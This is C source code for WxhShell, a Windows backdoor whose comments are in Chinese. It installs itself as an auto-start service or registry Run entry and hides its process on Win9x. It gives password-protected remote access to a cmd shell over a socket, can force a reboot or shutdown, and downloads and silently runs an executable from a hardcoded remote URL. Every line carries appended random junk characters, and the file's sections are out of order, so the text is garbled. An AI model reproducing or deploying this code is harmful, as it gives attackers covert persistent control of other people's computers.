    if(Boot(SHUTDOWN)) NC]]`O2r@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'gBns  
    else { %S$P<nKN5  
    closesocket(wsh); isU7nlc!  
    ExitThread(0);  :P,g,  
    } L7kNQ/  
    break; qp#Is{=m  
    } 36]pE<  
  // 获取shell }~W:3A{7;  
  case 's': { UA>3,|gV1  
    CmdShell(wsh); i}&&rr  
    closesocket(wsh); P{T\zT  
    ExitThread(0); }kJfTsFS  
    break; gMXs&`7P  
  } _*&I[%I5  
  // 退出 jl-2)<  
  case 'x': { IP?15l w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L{pz)')I  
    CloseIt(wsh); x*`S>_j27=  
    break; }~I(e  
    } |uUGvIsXn  
  // 离开 #%Hk-a=>)#  
  case 'q': { "|N58%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'SW%EVB  
    closesocket(wsh); Bf5Z  
    WSACleanup(); QR+xPY~  
    exit(1); 0B}O&DC%|  
    break; 0H$6_YX4 A  
        } Y"{L&H `  
  } Bb[WtT}=  
  } @euH[<  
%fbV\@jDCX  
  // 提示信息 <K g=?wb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <v=$A]K  
} vl`Qz"Xy  
  } i2+r#Hw#5R  
;C ^!T  
  return; .j et0w  
} $ol]G`+  
_+sb~  
// shell模块句柄 %wFz4 :  
int CmdShell(SOCKET sock) /"+CH\) E  
{ 8ln{!,j;  
STARTUPINFO si; UC e{V]T  
ZeroMemory(&si,sizeof(si)); *|gY7Av*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HbI'n,+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7`s* {  
PROCESS_INFORMATION ProcessInfo; -1_WE/Ps  
char cmdline[]="cmd"; O'Mo/ u1-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n%faD  
  return 0; lr*p\vH  
} h6CAd-\x\  
%`EyG  
// 自身启动模式 ^4 MJ  
int StartFromService(void) F_U9;*f]  
{ IZ/PZ"n_(  
typedef struct Gye84C2E=  
{ Cy frnU8g  
  DWORD ExitStatus; ^ABt g#  
  DWORD PebBaseAddress; >^=;b5I2K  
  DWORD AffinityMask; 1+F0$<e}  
  DWORD BasePriority; G?M<B~}  
  ULONG UniqueProcessId; 12i<b  
  ULONG InheritedFromUniqueProcessId; %nS(>X<B  
}   PROCESS_BASIC_INFORMATION; H]P*!q`Ko  
elqm/u  
PROCNTQSIP NtQueryInformationProcess; b I-uF8"  
AZ9;6Df  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CL|d>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "[QQ(]={  
u Gmv`R_  
  HANDLE             hProcess; <~ Dq8If  
  PROCESS_BASIC_INFORMATION pbi;  ?v z[Zi  
BS.5g<E2q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `<3%`4z/  
  if(NULL == hInst ) return 0; uIy$| N  
~GLWhe-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LULRi#n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (+CNs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .9u0WP95  
2M+}o"g  
  if (!NtQueryInformationProcess) return 0; lC=-1*WH  
9bQD"%ha=d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <e?1&56  
  if(!hProcess) return 0; 4<j7F4  
Y|l&mK?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  erQQ_  
M=M~M$K  
  CloseHandle(hProcess); s||c#+j"8  
>"q?P^f/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'uW&AD p  
if(hProcess==NULL) return 0; Z=m5V(9  
S`Xx('!/|  
HMODULE hMod; }Ug O$1  
char procName[255]; A-eRL`  
unsigned long cbNeeded; !X5LgMw^;  
aBd>.]l?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u}">b+{!  
H %Dcp#k  
  CloseHandle(hProcess); [$DI!%e|  
z j F'CY  
if(strstr(procName,"services")) return 1; // 以服务启动 ZBk br  
aI\:7  
  return 0; // 注册表启动 hAV@/oQ  
} dw-o71(1d  
F-X L  
// 主模块 cCuK?3V4K  
int StartWxhshell(LPSTR lpCmdLine) O@>ZYA%  
{ &R))c|>OT&  
  SOCKET wsl; ?{;7\1 [4  
BOOL val=TRUE; IkuE|  
  int port=0; v@d]*TG  
  struct sockaddr_in door; <^w4+5sT/  
OJ1MV7&  
  if(wscfg.ws_autoins) Install(); 9'=ZxV  
K]'t>:G @  
port=atoi(lpCmdLine); Q-?6o  
m@y<wk(  
if(port<=0) port=wscfg.ws_port; ;lQ>>[*  
!{?<(6;t  
  WSADATA data; hRNnj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sd _DG8V  
Fr_6pEH]}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >rYkVlv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P9o=G=i  
  door.sin_family = AF_INET; Ck:+F+7_v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :CsrcT=  
  door.sin_port = htons(port); 6IJH%qUx'  
]P96-x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wu.>'v?y  
closesocket(wsl); z+K1[1SM  
return 1; p Le[<N  
} I_Omv{&u  
gh-i| i,  
  if(listen(wsl,2) == INVALID_SOCKET) { Ltk-1zhI  
closesocket(wsl); 1'%n?\OK66  
return 1; XFv^j SF  
} ]G~Z'fs<(  
  Wxhshell(wsl); IAJ+n0U  
  WSACleanup(); t 2,?+q$x  
e8eNef L$  
return 0; < w;49 0g  
P}"T 3u\N  
} (sSGJS'X  
FY)US>  
// 以NT服务方式启动 X4JSI%E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3$9V4v@2  
{ 2v<O}   
DWORD   status = 0; k+zskfo  
  DWORD   specificError = 0xfffffff; +*IRI/KUD  
 6lL^/$]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Js&.p9S2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `<6FCn4{X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T0@$6&b%\z  
  serviceStatus.dwWin32ExitCode     = 0; *mkVk7]c  
  serviceStatus.dwServiceSpecificExitCode = 0; WFTwFm6  
  serviceStatus.dwCheckPoint       = 0; NpxgF<G  
  serviceStatus.dwWaitHint       = 0; s &f\gp1  
w8bvqTQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ')TS'p,n  
  if (hServiceStatusHandle==0) return; (K('@W%\?  
/z )Nz2W  
status = GetLastError(); Ab8Ke|fA  
  if (status!=NO_ERROR) GHO6$iM)[  
{ <cFj-Ys(T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M6j~`KSE  
    serviceStatus.dwCheckPoint       = 0; z<_a4 ffR  
    serviceStatus.dwWaitHint       = 0; 8v)iOPmDC  
    serviceStatus.dwWin32ExitCode     = status; Svdmg D!  
    serviceStatus.dwServiceSpecificExitCode = specificError; }1 j'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =&)R2pLs*  
    return; 7M~/[f7Z{  
  } %Iiu#- 'B  
buDz]ec b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S4pEBbV^n  
  serviceStatus.dwCheckPoint       = 0; *=P*b|P"$  
  serviceStatus.dwWaitHint       = 0; * ).YU[i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y@r0"cvz9  
} J$d']%Dwb  
@p@b6iLpO  
// 处理NT服务事件,比如:启动、停止 $$XeCPs 0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "8L v  
{ rN,T}M= 2  
switch(fdwControl) =y=MljEX  
{ &(m01  
case SERVICE_CONTROL_STOP: Hp*N%  
  serviceStatus.dwWin32ExitCode = 0; dl(!{tZ#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6#Rco%07zI  
  serviceStatus.dwCheckPoint   = 0; RIDl4c [  
  serviceStatus.dwWaitHint     = 0; ZFX6 iAxd  
  { R\-]$\1D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *-S?bv,T'  
  } TkVqv v  
  return; x.sC015Id  
case SERVICE_CONTROL_PAUSE: %/d1x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h@TP=  
  break; czsnPmNEI  
case SERVICE_CONTROL_CONTINUE: r5y*SoD!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D=SjCmG  
  break; T:".{h-i  
case SERVICE_CONTROL_INTERROGATE: ">5$;{;2r  
  break; {w@9\LsU  
}; =ui3I_*)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ji`.&#  
} u'^kpr`y  
MY^o0N  
// 标准应用程序主函数 ;0`IFtz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >I',%v\?@  
{ LQR^lD+_=  
=&<d4'(Qk  
// 获取操作系统版本 x<7?  
OsIsNt=GetOsVer(); ;#^ o5ht  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7EVB|gTp  
bn7g!2  
  // 从命令行安装 nb ?(zDJ8  
  if(strpbrk(lpCmdLine,"iI")) Install(); .@ZrmO o]]  
5vLA)Al3  
  // 下载执行文件 Mcq!QaO}&  
if(wscfg.ws_downexe) { < FY%QB)h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [,{Nu EI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ";/ogFi  
} )i_:[ l6  
fe8hgTP|  
if(!OsIsNt) { FNw]DJ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 z|t2;j[  
HideProc(); 8m?cvI  
StartWxhshell(lpCmdLine); X3~` ~J  
} B4 5#-V  
else Ug384RzHN  
  if(StartFromService()) ?<S fhjU  
  // 以服务方式启动 QMy1!:Z&!  
  StartServiceCtrlDispatcher(DispatchTable); [7NO !^  
else QKhGEW~G  
  // 普通方式启动 6Kw?  
  StartWxhshell(lpCmdLine); +N'&6z0Wf  
Z:^ S-h  
return 0; 2H`>Kj  
} KT17I&:  
R}IuMMx  
Xq<_r^  
FlUO3rc|  
=========================================== m/;fY>}3  
+(W7hK4ip  
; rNX  
c|Z6p{)V  
qJ .XI   
nB 0KDt_  
" Yh Ow0 x  
JcMl*k  
#include <stdio.h> CNhLp#  
#include <string.h> G(ZEP.h`u  
#include <windows.h> dk"@2%xJ2d  
#include <winsock2.h> 7- C])9  
#include <winsvc.h> NNwGRoDco  
#include <urlmon.h> 4TYtgP1  
j WMTQLE.  
#pragma comment (lib, "Ws2_32.lib") *Vg)E*s  
#pragma comment (lib, "urlmon.lib") :D eJnE  
eNO[ikm  
#define MAX_USER   100 // 最大客户端连接数 +1@'2w{  
#define BUF_SOCK   200 // sock buffer uy<<m"cA;  
#define KEY_BUFF   255 // 输入 buffer @%YbptT}  
{;6a_L@q;|  
#define REBOOT     0   // 重启 ;}M&fXFp"|  
#define SHUTDOWN   1   // 关机 Z[0/x.pp$  
+n$ruoRJh  
#define DEF_PORT   5000 // 监听端口 ( uG; Q  
m&z(2yb1  
#define REG_LEN     16   // 注册表键长度 '=eVem=  
#define SVC_LEN     80   // NT服务名长度 6{0MprY  
REh\WgV!u  
// 从dll定义API URt+MTU[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V F b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S]Di1E^r;_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U3{4GmrT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _/u(:  
((<\VQ,>(  
// wxhshell配置信息 J1Az+m  
struct WSCFG { \Lg4Cx  
  int ws_port;         // 监听端口 rO YD[+  
  char ws_passstr[REG_LEN]; // 口令 Pjxj$>&;*j  
  int ws_autoins;       // 安装标记, 1=yes 0=no {B e9$$W,  
  char ws_regname[REG_LEN]; // 注册表键名 WF_QhKW|k  
  char ws_svcname[REG_LEN]; // 服务名 _Vf>>tuW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TtH!5{$s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #sk~L21A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l;&kX6 w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Do5.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I?Z"YR+MQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,el[A`b  
!w@i,zqu  
}; h%NM%;"H/  
"@|rU4Y  
// default Wxhshell configuration t;-F]  
struct WSCFG wscfg={DEF_PORT, X[f)0w%  
    "xuhuanlingzhe", ~B? Wg!  
    1, 2$`Y 4b3t  
    "Wxhshell", zL3zvOhu}  
    "Wxhshell", SoHaGQox  
            "WxhShell Service", k*!iUz{]  
    "Wrsky Windows CmdShell Service", 6eA)d#  
    "Please Input Your Password: ", I6gduvkXi4  
  1, YpRhl(|  
  "http://www.wrsky.com/wxhshell.exe", jSRi  
  "Wxhshell.exe" UX<)hvKj  
    }; pf+VYZ#)  
tkkh<5{C   
// 消息定义模块 -M_>]ubG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xI/8[JW*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z.?slYe[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #0\* 8 6  
char *msg_ws_ext="\n\rExit."; k#7A@Vb  
char *msg_ws_end="\n\rQuit."; euW   
char *msg_ws_boot="\n\rReboot..."; FC||6vJth  
char *msg_ws_poff="\n\rShutdown..."; N9y+P sh  
char *msg_ws_down="\n\rSave to "; W-Vc6cq  
^4'!B +}F  
char *msg_ws_err="\n\rErr!"; Fs(S!;  
char *msg_ws_ok="\n\rOK!"; "dE[X` }=  
7,8TMd1`M  
char ExeFile[MAX_PATH]; 8?x:PkK  
int nUser = 0; pYu6[  
HANDLE handles[MAX_USER]; /L5:/Z  
int OsIsNt; q_mxZM ->  
3-)}.8F  
SERVICE_STATUS       serviceStatus; uPxjW"M+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g5u4|+70  
LafBf6wds  
// 函数声明 (<-m|H};  
int Install(void); 8G9( )UF.  
int Uninstall(void); 0 0|!g"E>$  
int DownloadFile(char *sURL, SOCKET wsh); B7YE+  
int Boot(int flag); & 9 c^9<F  
void HideProc(void); 065=I+Vo  
int GetOsVer(void); x5Fo?E  
int Wxhshell(SOCKET wsl); zA:q/i  
void TalkWithClient(void *cs); jUgx ;=  
int CmdShell(SOCKET sock); A wk1d  
int StartFromService(void); N:S2X+}(  
int StartWxhshell(LPSTR lpCmdLine); $|T Lt{ K  
6Z2|j~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9_e_Ne`i`?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q">}3`k  
zjSl;ru  
// 数据结构和表定义 7zJ2n/`m*  
SERVICE_TABLE_ENTRY DispatchTable[] = ~C>Q+tR8  
{ _-^mxC|M  
{wscfg.ws_svcname, NTServiceMain}, [TFp2B~)#  
{NULL, NULL} 8lS RK%  
}; Ap;^ \5  
<*-8E(a  
// 自我安装 m/(/!MVy  
int Install(void) 7Cbr'!E\_V  
{ :i@ $s/  
  char svExeFile[MAX_PATH]; $b2~H+u(  
  HKEY key; T!HAE#xC  
  strcpy(svExeFile,ExeFile); 5,V*aP  
64`l?F  
// 如果是win9x系统,修改注册表设为自启动 W}}ZP];  
if(!OsIsNt) { {fX~%%c"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JG1q5j##]b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s0/m qZ]s  
  RegCloseKey(key); 2tCw{Om*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VB T 66kV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W tHJG5  
  RegCloseKey(key); q5@Nd3~h  
  return 0; 51H6 W/$  
    } _@gg,2 u-  
  } }9#GJ:x`  
} 8bO+[" c  
else { V[kn'QkWv  
0uPcEpIA  
// 如果是NT以上系统,安装为系统服务 +7n vy^m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VGu(HB8n#  
if (schSCManager!=0) p=Le oc1  
{ 4xg1[Z%:  
  SC_HANDLE schService = CreateService pF8:?p['z  
  ( * LWihal  
  schSCManager, p>:.js5.a  
  wscfg.ws_svcname, ?i\V^3S n$  
  wscfg.ws_svcdisp, ;C , g6{  
  SERVICE_ALL_ACCESS, ggYi7Wzsd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F M YcZ+4  
  SERVICE_AUTO_START, rd$T6!I  
  SERVICE_ERROR_NORMAL, GC3d7  
  svExeFile, Fm6]mz%~u#  
  NULL, GK6CnSV8d  
  NULL, UX.rzYM&T  
  NULL, )1R[X!KQ7  
  NULL, Tyb'p9  
  NULL riaL[4c  
  ); f~TkU\Rh  
  if (schService!=0) $=^}J 6  
  { /h`gQyGuY  
  CloseServiceHandle(schService); ]n<B a7Y  
  CloseServiceHandle(schSCManager); oWi#?'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WX_g  
  strcat(svExeFile,wscfg.ws_svcname); HU4h.Lm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _^zs(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \yxGE+~P  
  RegCloseKey(key); 3webAaO  
  return 0; $AMcU5^b7  
    } M(C}2.20  
  } },Grg~l  
  CloseServiceHandle(schSCManager); G{Ju2HY  
} 0Q,Tcj  
} 7Q~W}`Qv'  
0/fZDQH  
return 1; v$(Z}Hg  
} [Fk|m1i!  
B4+u/hkbh?  
// 自我卸载 /RxqFpu|.  
int Uninstall(void) p|a`Q5z!  
{ I3T;|;P7  
  HKEY key; DW:\6k  
ba ,n/yH  
if(!OsIsNt) { o_kZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Zp') JiS  
  RegDeleteValue(key,wscfg.ws_regname); ;p fN  
  RegCloseKey(key); FYefn3b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .'2I9P\!  
  RegDeleteValue(key,wscfg.ws_regname); -~4kh]7%  
  RegCloseKey(key); 2e3AmR@*  
  return 0; -ik((qx_  
  } <@+L^Ps~z  
} NE) w$>0M  
} M\7F1\ X  
else { d/$e#8  
sE|8a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VsK8:[Al  
if (schSCManager!=0) $ kMe8F_  
{ T-kHk(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w-v8 P`V  
  if (schService!=0) REi"Aj=  
  { CD^@*jH9"  
  if(DeleteService(schService)!=0) { '@\[U0?@K  
  CloseServiceHandle(schService); $M4_"!  
  CloseServiceHandle(schSCManager); 2_?VR~mA#  
  return 0; }XpZgd$  
  } 9:Bn-3)  
  CloseServiceHandle(schService); aYHs35  
  } }S13]Kk?=  
  CloseServiceHandle(schSCManager); <8Zs; >YuK  
} een62-`  
} ^( 7l!  
rd[mC[ r  
return 1; ];g ~)z  
} {CVZ7tU7]  
C$LRX7Z`o  
// 从指定url下载文件 X9^q-3&60  
int DownloadFile(char *sURL, SOCKET wsh) mYXL  
{ ) R\";{`M  
  HRESULT hr; r8czDc),b  
char seps[]= "/"; ybv< 1  
char *token; n%~r^ C_  
char *file; $ >].;y?$  
char myURL[MAX_PATH]; UX|3LpFX&I  
char myFILE[MAX_PATH]; t0P_$+w.>  
Y(K`3? A  
strcpy(myURL,sURL); JPj/+f  
  token=strtok(myURL,seps); %.\+j,G7  
  while(token!=NULL) >Kl_948  
  { aE"dpYQ  
    file=token; QAY:H@Gt:  
  token=strtok(NULL,seps); _)3C_G1!  
  } q_BMZEM  
IM2<:N%'  
GetCurrentDirectory(MAX_PATH,myFILE); 4@a/k[,  
strcat(myFILE, "\\"); J^~J&  
strcat(myFILE, file); 1UB.2}/:  
  send(wsh,myFILE,strlen(myFILE),0); B/hQvA;(  
send(wsh,"...",3,0); ?A*<Z%}1?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A4;~+L:M  
  if(hr==S_OK) )2Y]A^Y   
return 0; A L |,\s  
else w^3S6lK  
return 1; < mFU T  
7nW <kA  
} ^d(gC%+!u  
.O+,1&D5  
// 系统电源模块 &/otoAr(  
int Boot(int flag) g0;6}n  
{ j^f54Ky.  
  HANDLE hToken; Gs04)KJm<  
  TOKEN_PRIVILEGES tkp; $h=v ;1"  
vJx( lU`Y  
  if(OsIsNt) { 8Vt'X2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {\LLiU}MJC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?\X9Ei  
    tkp.PrivilegeCount = 1; l%yQ{loTh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f&] !;)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "uyr@u0b  
if(flag==REBOOT) { .=hVto[QC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >29c[O"[  
  return 0; TvRm 7  
} vn@sPT  
else { /&c>*4)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bV#j@MJ~0  
  return 0; n1'i!NWt  
} 7s}F`fjKP  
  } 1h)K3cC  
  else { Hbu :HFJ!  
if(flag==REBOOT) { ;oVOq$ql  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aouYPxA`  
  return 0; wg:\$_Og  
} v9t'CMU  
else { sULsUt#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "`Xbi/i  
  return 0; YNp-A.o W@  
} Ou f\%E<  
} eOZ~p  
8N<m V^|}  
return 1; $!\L6;:  
} .I^Y[_.G  
-Wre4 ^,v  
// win9x进程隐藏模块 7.kH="@  
void HideProc(void) $8[JL \  
{ C 8d9 (u  
PdRDUG{Jy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L,,*8  
  if ( hKernel != NULL ) rQpQ qBu  
  { E?Qg'|+_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -7 Kstc-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +p]@b  
    FreeLibrary(hKernel); 'S=eW_ 0/  
  } 6&2{V? W3  
_C'VC#Sy  
return; v Et+^3=  
} r& :v(  
yK_$d0ZGE~  
// 获取操作系统版本 kmu7~&75  
int GetOsVer(void) 2mO9  
{ '3E25BsL  
  OSVERSIONINFO winfo; ?dCJv_w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~BnmAv$m[  
  GetVersionEx(&winfo); QG@Z%P~,E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lJS3*x#H  
  return 1; QlH[_Pi  
  else C]na4yE 8  
  return 0; FEV Ya#S  
} G('UF1F  
v|3mbApv  
// 客户端句柄模块 C9>^!?>  
int Wxhshell(SOCKET wsl) -Gm}i8;  
{ G=kW4rAk  
  SOCKET wsh; ~ntDzF  
  struct sockaddr_in client; 4v#s!W  
  DWORD myID; =~21.p  
pp >F)A0v  
  while(nUser<MAX_USER) v\}{eP'  
{ B!)Tytm9u  
  int nSize=sizeof(client); :"Rx$;a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]XYD2fR2qA  
  if(wsh==INVALID_SOCKET) return 1; Emk:@$3{r  
xBqZ: BQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %F:; A  
if(handles[nUser]==0) _+%p!!  
  closesocket(wsh); T[J8zL O  
else "VMb1Zhf  
  nUser++; b.)jJLWv@  
  } :n?rk/F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~TTz`HZ  
u|Ng>lU  
  return 0; ~cfvL*~5  
} \GGyz{i  
W!* P  
// 关闭 socket _0Y?(}  
void CloseIt(SOCKET wsh) #aKUD  
{ JPg^h  
closesocket(wsh); \e%%ik,<  
nUser--; ]BmnE#n&  
ExitThread(0); CUaL  
} SJsbuLxR  
jRW@$ <mG  
// 客户端请求句柄 \+C0Rv^^  
void TalkWithClient(void *cs) R~RE21kAc  
{ ^<j =.E  
>h(GmR*xM  
  SOCKET wsh=(SOCKET)cs; * C*aH6*  
  char pwd[SVC_LEN];  D28>e  
  char cmd[KEY_BUFF]; q$}gQ9'z'  
char chr[1]; *nV"X0&  
int i,j; OM@z5UP  
$ao7pvU6  
  while (nUser < MAX_USER) { f{{J_""?&  
C!Fi &~  
if(wscfg.ws_passstr) { L#!m|_Mz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }%0X7'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _gl1Qtv@rf  
  //ZeroMemory(pwd,KEY_BUFF); J!@R0U.  
      i=0; t&_X{!1X"w  
  while(i<SVC_LEN) { &(|x-OT  
G P`sOPr  
  // 设置超时 s/P+?8'9  
  fd_set FdRead; cSmy M~[  
  struct timeval TimeOut; iaRCV 6cl  
  FD_ZERO(&FdRead); "Sw raq  
  FD_SET(wsh,&FdRead); =L{-Hu/j  
  TimeOut.tv_sec=8; r<Q0zKW!jN  
  TimeOut.tv_usec=0; pK0@H"$8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LFvZ 7M\\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9)4_@rf%  
 jQ-2SA O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Y>oNX1KN  
  pwd=chr[0]; ]y"=/Nu-Ja  
  if(chr[0]==0xd || chr[0]==0xa) { .P ??N  
  pwd=0; ,!P}Y[|  
  break; bb-u'"5^]  
  } O! _d5r&,  
  i++; KNOVb=# f_  
    } *lQa^F  
CKC5S^Mx  
  // 如果是非法用户,关闭 socket A5sz[k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J58S8:c  
} ao@CPB6N  
| S'mF6Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qtFHA+bO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lA4TWU (]  
n`T4P$pt  
while(1) { Bz>5OuOVS\  
U+!&~C^y  
  ZeroMemory(cmd,KEY_BUFF); WDt6{5T  
*0<)PJ T  
      // 自动支持客户端 telnet标准   ff00s+  
  j=0; x_wWe>0  
  while(j<KEY_BUFF) { `dRqheX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F;BCSoO4  
  cmd[j]=chr[0]; ,}wFQ9*|W  
  if(chr[0]==0xa || chr[0]==0xd) { ^S!;snhn  
  cmd[j]=0; `X<a(5[vV3  
  break; M6].V*k'2  
  } .sKfwcYu4  
  j++; /+m2|Ij(  
    } pv"s!q&  
#RHt;SFx  
  // 下载文件 6r`Xi&  
  if(strstr(cmd,"http://")) { 4I*'(6 ,!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o1uM(  
  if(DownloadFile(cmd,wsh)) 6.6?Rp".  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eK}GBBdO  
  else "w__AYHV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tf('iZ2+  
  } p+y"r4   
  else { Rgl cd  
[.&n,.k  
    switch(cmd[0]) { Ei=rBi  
